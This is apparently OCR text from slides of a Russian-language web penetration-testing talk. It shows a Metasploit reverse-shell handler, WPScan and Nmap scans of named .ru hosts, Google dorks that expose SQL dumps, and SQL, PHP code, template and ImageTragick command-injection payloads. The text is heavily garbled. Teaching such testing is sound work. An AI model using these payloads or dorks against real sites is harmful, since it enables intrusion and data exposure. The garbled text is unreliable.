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root@kali: ~

=

File Edit View Search Terminal Help

111 11 .20 LPORT=80

- Save your shells from AV! Upgrade to advanced AV evasion using dynamic
acking

exe templates with Metasploit Pro -- type 'go_pro' to launch it now.

. metasploit v4.6.0-dev [core:4.6 api:1.0]
Fua- updacedar 1062 exploits - 659 auxiliary - 178 post
275 payloads - 28 encoders - 8 nops

msf > use multi/handler

@@EE®  msf exploit(handler) > set LHOST 10.1.1.20
LHOST => 10.1.1.2

msf exploit(handler) > set LPORT 8080
LPORT => 8080

msf exploit(handler) > exploit H cmdexe | powershellexe

[*] Started reverse handler on 10.1,1.20:8080
[*] Starting the payload handler... C:\Users\CSI\Desktop

[*] Sending stage (7521%8 bytes) to 10.1.1.10 > wpscan
[*1 on 1 opened (10.1.1.20:8080 -> 10.1.1.10:49158) at 2013-08-
23 03:39:19 -0400

meterpreter > [

B root@kali: ~ & root@kali: ~
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WordPress Security Scanner by the WPScan Team

y (T
S é - Version 2.9
. A Sponsored by Sucuri - https://sucuri.net
N @ _WPScan_, @ethicalhack3r, @erwan_1r, pvdl, @ FireFart_
Dirsearch

Nmap

Examples

-Further help ...
ruby E:/PENTESTBOX/bin/WebApplications/wpscan/wpscan.rb --help

Burp Suite

-Do 'non-intrusive’ checks ...
ruby E:/PENTESTBOX/bin/WebApplications/wpscan/wpscan.rb --url www.example.co
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GOOGLE

e mes
GO@g'C site:*.miit.ru -www
;Ie filetype:sql site:ru
Bce KapTuHku HosocTu [Mokynku Kaprs! Ewe Hac tpoitku WHC TPy MEHTHI

Bce KapTuxku HosocTu [Mokynku Kaprbi Ewe Hactpoitku MHCTpymMeHTbI
Peaynestaros: npumepro 292 000 (0,21 cexk.)

- Peaynetaros: npumepro 2 100 000 (0,33 cex.)
MaBHas cTpaHuua - CMoneHckun ounuan MUUT

smolensk.miit.ru/sjy/ v

Joomlal - the dynamic portal engine and content management system. nn Bnpoqu, Aaxe He CTOoNb BaKHO, NO KakomMy nosody 6y,qu

onebeach.ru/adminer.sql v

Adminer 3.7.1 MySQL dump SET NAMES utf8; SET foreign_key_checks = 0; SET time_zone =
MIIT | About the university | Structure '+03:00"; SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO" DROP ...

asu.miit.ru/ v

Ceepnenun ob obpasoBatensHoit oprasusaumm - Mission - MAWT - 120 net - MUWT cerogxa - Licenses

and accreditation - Of k akkpegutaumu 2016 - History ... Sylcom - VitanbsHckas meGens

francescomobili.ru/dump.sql v
'40 €. "2011 A2 FU" Sylcom. Liexa: lMo 3anpocy. "2010 A2 FU" Sylcom.

Sign In - Oracle Bee s 3 S" Sylcom. Llena: Mo 3anpocy.
0 site:sberbank.ru filetype:txt m J Q
https://beehive.miit.ru/zir Go = gle -

S 0l Sidko 3 434 KBdespanb 12, 2015 22:27:35 - SpiritCloud ...

Unauthorized use of this sit Bce KapTuHku HoBocTu TMokynku Kaprbi Ewe HacTpoiiku VHC TPy MeHTb ¥601_22 sq

POFl A(jj6fiéieée IEE( Peaynstaros: 1 (0,11 cex.)
: « »
library.miit.ru/photo/rare kas LlepkoBb «Punagenbcus» | Vxesck

Page 1. Atisfigiess IEEOa DEVELOPERS */ Frontend Developer: Vyacheslav Slinko Contact ... 4
656.2. A 92. Atiionigiese IE www.sberbank.ru/common/humans.txt - MepesecTu 3Ty cTpaHuLly ocT - Cryxerun - lponioseay - MuccuoriepcTso - CeupetenscTea -

ish::
FOFLA(i0Néeée |EE!

library.miit.ru/photo/rare_ e q ¢ http://www.sberbank.ru/common/humans.txt
Page 1. Aticrigieée IEEOa
656.2. A 92. Avioriéiese IE

p KpeatueHoun Mcuxonoruu
Jfi_iblocks.sql
/* DEVELOPERS */ arsion 3.3.9.2 - http://www.phpmyadmin.net - — XocT: creativnos.mysql —-

Frontend Developer: Vyacheslav Slinko 11, 19:07 - Bepcus ...
Contact: vyacheslav.slinko@gmail.com

I* SITE %/
Doctype: HTMLS
Libraries: React, when, celles, jQuery, jQuery UI, Selectize.js, spin.j
Technologies: Grunt, Git, CoffeeScript, Stylus, Jade, browserify
IDE: Sublime Text 2, Vim
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WordPress Security Scanner by the WPScan Team

Sponsored
@_WPScan_, @ethi

Version 2.9.1
by Sucuri - https://sucuri.net
calhack3r, @erwan_lr, pvdl, @ FireFart_

URL: http://www
Started: Thu Ma

robots.txt avai
Interesting ent
Interesting ent

Interesting entry from robots.txt: http://www.

Reference: https
Reference: https
Fixed in: 3.0.2

Title: WordPress
Reference: https
Reference: https
Fixed in: 3.0

Title: WordPress
Reference: https
Reference: http:

Title: WordPress
Reference: https

Reference: http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-d

Reference: https
Reference: https
Reference: https
Reference: https
Reference: https
Fixed in: 4.0.1

Title: WordPress
Reference: https
Reference: http:
Reference: https
Reference: https
Fixed in: 4.0.1

Title: WordPress

Reference: https:
Reference: https:
Reference: https:
Reference: https:

Fixed in: 4.7.1

ru/
r 30 01:58:28 2017

lable under: ‘http://www.
ry from robots.txt: http://www.
ry from robots.txt: http://www.

‘robots.txt’
.ru/wp-login.php
.ru/wp-register.php
.ru/feed/

://wpvulndb.com/vulnerabilities/6012

://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5296

2.0 - 3.0 Remote Authenticated Administrator Add Action Bypass
://wpvulndb.com/vulnerabilities/6013
://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5297

2.0 - 2.7.1 admin.php Module Configuration Security Bypass
://wpvulndb.com/vulnerabilities/6019
//www.securityfocus.com/bid/35584/

<= 4.0 - Long Password Denial of Service (DoS)
://wpvulndb.com/vulnerabilities/7681

://wordpress.org/news/2014/11/wordpress-4-0-1/
://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9034

://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_long_password_dos

://www.exploit-db.com/exploits/35413/
://www.exploit-db.com/exploits/35414/

<= 4.0 - Server Side Request Forgery (SSRF)
://wpvulndb.com/vulnerabilities/7696
//www.securityfocus.com/bid/71234/
://core.trac.wordpress.org/changeset/30444
://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9038

<= 4.7 - Post via Email Checks mail.example.com by Default
//wpvulndb.com/vulnerabilities/8719

//cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491

//github.com/WordPress/WordPress/commit/061e8788814ac87766d8b95688df276fe3c85
//wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release

C:\Users\leksadin\Desktop

nmap login.

Starting Nmap 7.10 ( https://nmap.org ) at 2017-83-30 02:88 RTZ 2 (ceia)
Nmap scan report for login.

.ru -sV -Pn -p 1-65535

.ru (195.245.2085.104)

Host is up (©.823s latency).
Not shown: 65523 filtered ports

PORT
21/tcp

25/tcp

80/tcp

143/tcp
443 /tcp
465/tcp
993/tcp
5222/tcp
5223/tcp
5269/
21401
21451

STATE
open
open
open
open
open
open
open
open
closed

SERVICE

ftp?

smtp

http

imap?

https?
ssl/smtp
ssl/imaps?
xmpp-client?
hpvirtgrp

VERSION

1.au/internal/

lar-thumb {

u/inter
11"’

O



2. TECTNPOBAHWE KOHTPOJIA OOCTYIA

* AyTeHTUOMKaLKS

* YnpaBsneHne ceccuamm

* KOHTDOIb

A0CTVI1a

Index of /mEEEE———

Name

a Parent Directory

@) Lobe

@) 2000

@) s6.0hp
vhod txt
write html

Last modified Size Description

2015-02-02 17:56 39K
2016-04-04 08:02 19K
2016-05-25 12:46 55K
2017-03-30 03:10 1.0M
2017-03-30 03:10 4.8M

Jjavascript™>

/*This Script allows people to enter by using a form that asks for a
UserID and Password*/

function pasuser(form) {

if (form.id.value=="charter") {

4 if (form.pass.value=="charter") {

location="new.php"

B| } else {

alert("Invalid Password")

2|} else { alert("Invalid UserID")

}

)
=
</script>

Username est' union select 1,2, 3- -




3. MPOBEPKA BXOOHbIX OAHHbIX

da33nHr — MeToanka TECTUPOBAHUS, MPU KOTOPOW Ha BXO4 NporpaMmbl
noaalTcsa HeBanuaHble, HeNpPeayCMOTPEHHbIE UMK CryYanHble JaHHbIe.

« ¢ https://c I/7url%5B8%5D=

arning: trim() expects parameter 1 to be string, array given in /var/www/ssdemo/releases/7b8e6524dc1bbb1f574e64baf2d95e64bca768ealframework/core/Core.php on line 99

/News.php?Chapterld=-96%27 +and +extractvalue(1,concat(0x3a,(version()))) +--+

Owwbka goctyna k 6aze aakkbix B cTpokel2 XPATH syntax error: ':5.1.67-Oubuntu0.10.04.1'

- |

(2222272 222222222222272 222222222 2

|
[222227: 2222222222222?

!777777777 2222222272

|
?22?2222?2272: 500 Internal Server

Error

Gallery:

5.6.17:zilair:root@localhost




* TecTpoBaHue SOAP-UHBLEKLNI

* TectnpoBaHue LDAP-NHBbEKL NI

* TecTupoBaHue XPath-MHBEKL MW




<& httpy//ctfinfosecinstitute.com/ctf2/exercises/ex2.php

The Ouiclﬂalculator

{’::

« g q ¢ http://ctfinfosecinstitute.com/ctf2/exercises/ex2.php

Vulnerability: Al Injection

[ ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits

Configuration

<html lang="en">
» <head>..</head>
¥ <body >
P> <ul id="main-header"” class="nav nav-pills navbar-inverse">..</ul>
TR e T Apache APl 20120211
<hl class="text-center”>The Quick Web Calculator</hl> Version
¥<div class="col-md-6 text-center col-md-offset-3">
¥ <form class="form-inline” method="POST" action> Server postmaster@Ilocalhost
<input size="5" type="text" name="operandl" class="operand">
¥ <select name="operator”>
<option value="+2;phpifo;2+">+</option> == $@
<option *">3¢/option>
<option >/</option>
<option value="-">-</option>
<option value="%">%</option>
</select> Timeouts Connection: 300 - Keep-Alive: 5
<input size="5" type="text" name="operand2" class="operand">
<input type="submit" class="btn btn-sm btn-primary” value="Calculate"> Virtual Server ~ No
</form>
</div> Server Root E:/Programs/XAMPP/apache
i:after
</div>
B sAdiv ctula-"marain-fan: 100nv:" rlacc-"ral.md-A col-md-nffcat-2 alart 2dart_dnfas o /ldiun
html body div.container div.col-md-6.text-center.col-md-offset-3  form.form-iniine  select Modules mod_access_compat mod_actions mod_alias
mod_allowmethads mod_asis mad_auth_basic

Apache Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.6
Version

Administrator
Hostname:Port  localhost:8079

Max Requests  Per Child: O - Keep Alive: on - Max Per Connection: 100

Loaded core mod_win32 mpm_winnt http_core mod_so

mod_authn_core mod_authn_file mod_authz_core
mod_authz_groupfile mod_authz_hast mad_authz_user
mod_autaindex mod_cgi mod_dav_lock mod_dir
mod_env mod_headers mod_include mod_info
mod_isapi mod_log_config mod_cache_disk mod_mime

VoInerabilitg: Al Injection mod_negotiation mod_proxy mod_proxy_ajp

mod_rewrite mod_setenvif mod_socache shmcb




OLUMBKA B J1OI' MKE NMPUNTOXEHNA —
3AKA3bIBAEM BECIUTIATHYO MALLLY =)

POST /cplata.html HITP/1.1

Hest: www.pizza.com

User-Agent: Mczilla/5.0 (Windows NT €.2; WOWed; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: applicaticn/jscn, text/javascript, */*;

Accept-Language: ru-RU,ru;q=0.8,en-US;9=0.5,en;q=0.3

Accept-Enceding: gzip, deflate

Content-Iype: applicaticon/x-www-Iorm-urlenceded; charset=UTF-2

X-Requested-With: XMLHttpRegquest

Referer: http://vahco.com/{{2+2}}

Ccntent-Length: 28&2

Cockie:

3treetld=az3treetName=qwagwawapersons=lachange=500zname=qwaphone=%$2838(111)1111111lsemail=mm$40mm.rmat-ord=acem

ment=apromeccde=zagreement=cnacheck-ord=cnlinezorder$S5B0$5D%5Bids5D=1162acrders5B80%5D%5BamcuntisSD=2z0rderss2

0$5D$5BtypesSD=rellyizprice=210sfinalPrice=30




* OnpegeneHne ornacHbI»

O * TecTpoBaHMe NPOKCU

%
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Lookup Connected Domains Lookup tips @

188.212.255.233 LOOKUP

Example: 65.55.53.233 or 64.233.161.%

=)
EXKPLOIT =

DITIBISE Home Exploits Shellcode Papers Google Hacking Database Submit Search
Reverse IP Lookup Results — more than 3 domains hosted on IP address 188.212.255.233

Domain View Whois Record

a 6 &
: He poboT &
1. ditaly.ro wordpress 4 5
2 ecoreca.com
20 total entries
3. ecoreca.ro Date D A V Title Platform Author
= . 2016-12-16 & [A (@ WordPress Plugin Quiz And Survey Master 4.5.4 / 4.7.8 - Cross-Site Request Forgery PHP dxw
ND additional domain —
2016-08-22 § [ «” WordPress 4.5.3 - Directory Traversal / Denial of Service PHP Yorick Koster
2016-08-05 & A (@ WordPress Plugin Count Per Day 3.5.4 - Persistent Cross-Site Scriptin PHP ulien Rentro
« 9 ¢ nupsip. ro/ @ o 8 y pting J P
2016-03-10 & [A (@ WordPress Plugin Best Web Soft Captcha 4.1.5 - Multiple Vulnerabilities PHP Colette Cha...
Index Of / 2015-0520 § - & WordPress Plugin FeedWordPress 2015.0426 - SQL Injection PHP Adrian M. F.
2015-04-21 & - (@ WordPress Plugin Tune Library 1.5.4 - SQL Injection PHP Hannes Trunde
2015-04-13 & - (@ WordPress Plugin Duplicator 0.5.14 - SQL Injection / Cross-Site Request Forgery PHP Claudio Viv...
;A = . 3 .
01 ‘Perncibaiopil @7-Feb-2017 11:03 £ 2015-04-02 & - (@ WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload PHP ITAS Team
22. Kamepel/ 09-3an-2017 14:57 = 20141202 § [A (@ WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting PHP Kacper Szurek
3. Kamepbl 4 cepun/ 28-Mar-217 @9:25 -
24. CkopoCTHsie mosopoTHbie €)..> 16-Dec-2016 13:35 = 2014-11-25 & [@A @ WordPress Plugin Google Document Embedder 2.5.14 - SQL Injection PHP Kacper Szurek
85. HD-TVI/ 18-Nov-2016 14:1@ = = ; 243 7
26. HiWatch 15-9an-2016 08:53 _ 2014-06-02 & WordPress Plugin Participants Database 1.5.4.8 - SQL Injection PHP Yarubo Rese...
7. KnasuaTypsl/ ©3-Jun-2016 ©89:53 -
28. WHCTpyKuuu 20-Mar-2017 @8:50 -
29. Ytunurel/ 16-Feb-2017 10:30 -
10. MapkeTuHrosble maTepuans/ 31-Mar-2016 ©8:10 =
11. ivMS-520@ 23-0ct-2016 12:53 -
12. Axceccyapsi/ 24-Mar-2017 12:25 =
13. NpesenTauuu/ 29-Mar-2017 18:00 2
14. EZVIZ/ 25-Nov-2016 22:87 -

15. CKyA/ 14-Jul-2016 10:06 N




exploit.mvg

1\§ 6. IPOYVE TECTb!

TeCTI/I pOBaH ne DOM-MO,EI,GJ'IM push graphic-context

O viewbox @ @ 640 480
Ffill ‘url(https://example.com/image.jpg”;[ls "-la)’

* [IpoBepka Hann4ns criadbiX SSL-LLNG PO i smsieymi

exploit.svg

* AHann3 HTTP-3arofioBKOB
<?xml version="1.8" standalone="no"?>

ﬂ <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.0rg/Graphics/SVG/1.1/DTD/svgll.dtd"; >
<svg width="640px" height="480px" version="1.1"

H t b I d t t xmlns="http://www.w3.0rg/2000/svg"”; xmlns:xlink=
ea r ee es "http://www.w3.0rg/1999/xLink"; >

<image xlink:href="https://example.com/image. jpg&quot; [Ls &quot;-La”
x="0" y="0" height="640px" width="486px"/>

Enter the hostname of a server to test it for CVE-2014-0160. </svg>

example.com[:443] Go!

Go here for all your Heartbleed information needs.






